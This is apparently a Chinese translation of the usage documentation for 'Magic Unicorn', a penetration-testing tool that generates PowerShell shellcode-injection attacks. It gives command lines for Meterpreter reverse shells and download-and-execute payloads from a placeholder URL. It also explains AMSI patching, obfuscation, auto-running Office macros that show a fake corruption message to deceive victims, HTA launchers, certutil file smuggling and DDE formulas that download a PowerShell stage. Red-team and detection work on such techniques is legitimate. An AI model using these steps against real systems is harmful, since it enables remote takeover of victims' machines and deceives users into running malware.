
Unicorn 是一个简单的工具,用于实施 PowerShell 降级攻击并直接向内存注入 shellcode。基于 Matthew Graeber 的 PowerShell 攻击技术以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。
作者:Dave Kennedy (@HackingDave) 网站:https://www.trustedsec.com
Magic Unicorn 是一个简单的工具,用于利用 PowerShell 降级攻击并将 shellcode 直接注入内存。它基于 Matthew Graeber 的 powershell 攻击以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 powershell 绕过技术。
使用方法很简单,只需运行 Magic Unicorn(如果使用 Metasploit 方法,请确保已安装 Metasploit 且位于正确的路径中),magic unicorn 会自动生成一条 powershell 命令,你只需将 powershell 代码剪切并粘贴到命令行窗口或通过 payload 投递系统执行即可。Unicorn 支持你自己的 shellcode、cobalt strike 以及 Metasploit。
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn 现在只生成一个 PowerShell 子命令。使用 --amsi inline 时,AMSI 补丁和 shellcode 加载器
在同一个子进程中运行。使用 --amsi off 时,Unicorn 会省略 AMSI 阶段。
使用 --profile cmd 以获得 8191 字符的命令上下文。使用 --profile powershell 以获得
32767 字符的上下文。Unicorn 会拒绝超出所选限制的输出。
使用 --arch x86 或 --arch x64 选择子 PowerShell 架构。请提供与该架构匹配的 shellcode。
默认为 x86。
使用 --obfuscation minimal|moderate|high 选择一种有界的、保持语义的变体。
清单文件会记录所使用的确切变换。
使用 --seed <value> 复现生成的变体。每次运行都会写入 unicorn_manifest.json,其中包含
种子、架构、AMSI 模式、命令长度、API 以及源 shellcode 的 SHA-256。
加载器变体使用 memset 字节复制循环或 Marshal.Copy;所选 API 会记录
在清单文件中。
对于 shellcode 攻击,清单文件还会记录所选的混淆配置及其
变换。
现在所有内容都会生成到 powershell_attack.txt、使用 Metasploit 时的 unicorn.rc 以及
unicorn_manifest.json 中。文本文件包含将 PowerShell 攻击注入
内存所需的代码。你需要一个支持远程命令执行的位置。使用 --profile cmd 以获得 8191 字符的
命令上下文。此攻击还支持 windows/download_exec。使用下载并执行时,运行
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe。
请注意,你需要启用监听器才能捕获该攻击。
对于宏攻击,你需要转到“文件”、“属性”、“功能区”,然后选择“开发工具”。完成 后,你将拥有一个“开发工具”选项卡。创建一个新宏,将其命名为 Auto_Open,并将生成的代码 粘贴到其中。它将自动运行。请注意,会向用户弹出消息,提示文件 已损坏并自动关闭 Excel 文档。这是正常行为!这是在诱骗 受害者认为 Excel 文档已损坏。之后,你应该能通过 PowerShell 注入 获得一个 shell。
如果你要针对 Office365/2016+ 版本的 Word 部署此内容,需要将 输出的第一行从:Sub Auto_Open()
修改为:Sub AutoOpen()
宏本身的名称也必须为 "AutoOpen",而不是旧版 "Auto_Open" 命名方案。
注意:复制并粘贴 Excel 时,如果添加了额外的空格,你需要在 变量 "x" 下的每个 PowerShell 代码段之后移除这些空格,否则会发生 语法错误!
HTA 攻击会自动生成两个文件,第一个是 index.html,它告诉浏览器 使用 Launcher.hta,其中包含恶意的 PowerShell 注入代码。所有文件都会导出到 hta_access/ 文件夹,并且会有三个主要文件。第一个是 index.html,第二个是 Launcher.hta,最后 一个是 unicorn.rc 文件。你可以运行 msfconsole -r unicorn.rc 来启动 Metasploit 的监听器。
使用 HTA 攻击时,用户必须点击允许并接受,PowerShell 注入才能正常 工作。
certutil 攻击向量由 Matthew Graeber(@mattifestation)发现,它允许你获取一个二进制文件,将其转换为 base64 格式,并在受害机器上使用 certutil 将其转换回二进制文件。这几乎可以在任何系统上运行,并允许你通过伪造的证书文件将二进制文件传输到受害机器。要使用此攻击,只需将可执行文件放在 unicorn 的路径中,并运行 python unicorn.py <exe_name> crt 以获取 base64 输出。完成后,前往包含这些文件的 decode_attack/ 文件夹。bat 文件是一个可以在 Windows 机器上运行的命令,用于将其转换回二进制文件。
此攻击方法允许你将任何 PowerShell 文件(.ps1)转换为编码命令或宏。
请注意,如果选择宏选项,较大的 ps1 文件可能会超出 VBA 允许的回车数量。你可以通过传入一个整数作为参数来更改每个 VBA 字符串中的字符数。
示例:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
最后一个将使用 500 个字符的字符串而不是默认的 380 个,从而减少 VBA 中的回车数量。
此攻击向量将生成 DDEAUTO 公式以放入 Word 或 Excel。COM 对象 DDEInitilize 和 DDEExecute 允许直接在 Office 中创建公式,从而无需宏即可获得远程代码执行能力。此攻击已有文档记录,完整说明可在以下地址找到:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
要使用此攻击,请运行以下示例:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
生成后,将生成一个 powershell_attack.txt,其中包含 Office 代码,以及 unicorn.rc 文件,它是监听器组件,可通过 msfconsole -r unicorn.rc 调用以处理 payload 的监听器。此外,还会导出一个 download.ps1(在后续章节中说明)。
要应用 payload,例如(来自 sensepost 文章):
一旦打开 Office 文档,你应该能通过 PowerShell 注入获得一个 shell。请注意,DDE 在字符大小上有限制,我们需要使用 Invoke-Expression(IEX)作为下载方法。
DDE 攻击将尝试下载 download.ps1,这是我们的 PowerShell 注入攻击,因为我们受到大小限制。你需要将 download.ps1 移动到受害机器可访问的位置。这意味着你需要将 download.ps1 托管在受害机器可访问的 Apache2 目录中。